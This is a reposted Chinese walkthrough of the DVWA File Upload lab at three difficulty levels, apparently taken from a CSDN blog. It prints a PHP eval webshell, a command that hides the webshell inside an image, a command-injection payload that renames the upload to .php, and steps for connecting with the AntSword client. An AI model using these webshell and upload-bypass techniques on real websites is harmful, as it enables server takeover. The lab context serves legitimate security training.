【dvwa靶场：File Upload系列】File Upload低-中-高级别，通关啦
目录
2.2、上传文件，打开burpSuite，抓上传的包，修改后缀名为php，放行
3.3、生成木马图片：cmd进入图片文件夹所在路径，执行生成木马图片命令
3.5、在Command Injection板块命令执行：修改木马图片为可行性木马文件
3.6、访问修改后的，就是修改后的路径：你的dvwa路径拼接上这个文件路径，回车就自动成功那个路径
一、low级别,直接上传木马文件
1.1、准备一个木马文件
1.2、直接上传木马文件
1.3、访问木马链接
1.4、连接蚁剑
二、medium级别：抓包文件缀名
2.1、准备一个木马文件，修改后缀名为图片的后缀名
2.2、上传文件，打开burpSuite，抓上传的包，修改后缀名为php，放行
2.3、访问木马文件链接
2.4、连接蚁剑
三、high级别：木马图片，命令执行修改为木马文件
3.1、准备一个真实小图片，命名自定义，以下是示例
3.2、准备一个木马文件
<?php @eval($_POST['pass']);?>
3.3、生成木马图片：cmd进入图片文件夹所在路径，执行生成木马图片命令
copy 真实图片.后缀名/b+木马文件.后缀名 木马图片.真实图片后缀名
3.4、上传文件 ，成功后复制路径
3.5、在Command Injection板块命令执行：修改木马图片为可行性木马文件
127.0.0.1|move ../../hackable/uploads/你的木马图片 ../../hackable/uploads/修改后的木马文件例如我的：127.0.0.1|move ../../hackable/uploads/mua.jpg ../../hackable/uploads/mua.php
3.6、访问修改后的，就是修改后的路径：你的dvwa路径拼接上这个文件路径，回车就自动成功那个路径
http://127.0.0.1/dvwa/vulnerabilities/exec/../../hackable/uploads/mua.php直接回车，变成下方的木马文件链接
http://127.0.0.1/dvwa/hackable/uploads/mua.php
3.7、蚁剑连接：木马链接和木马密码
原文地址：https://blog.csdn.net/m0_47484034/article/details/144022436
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！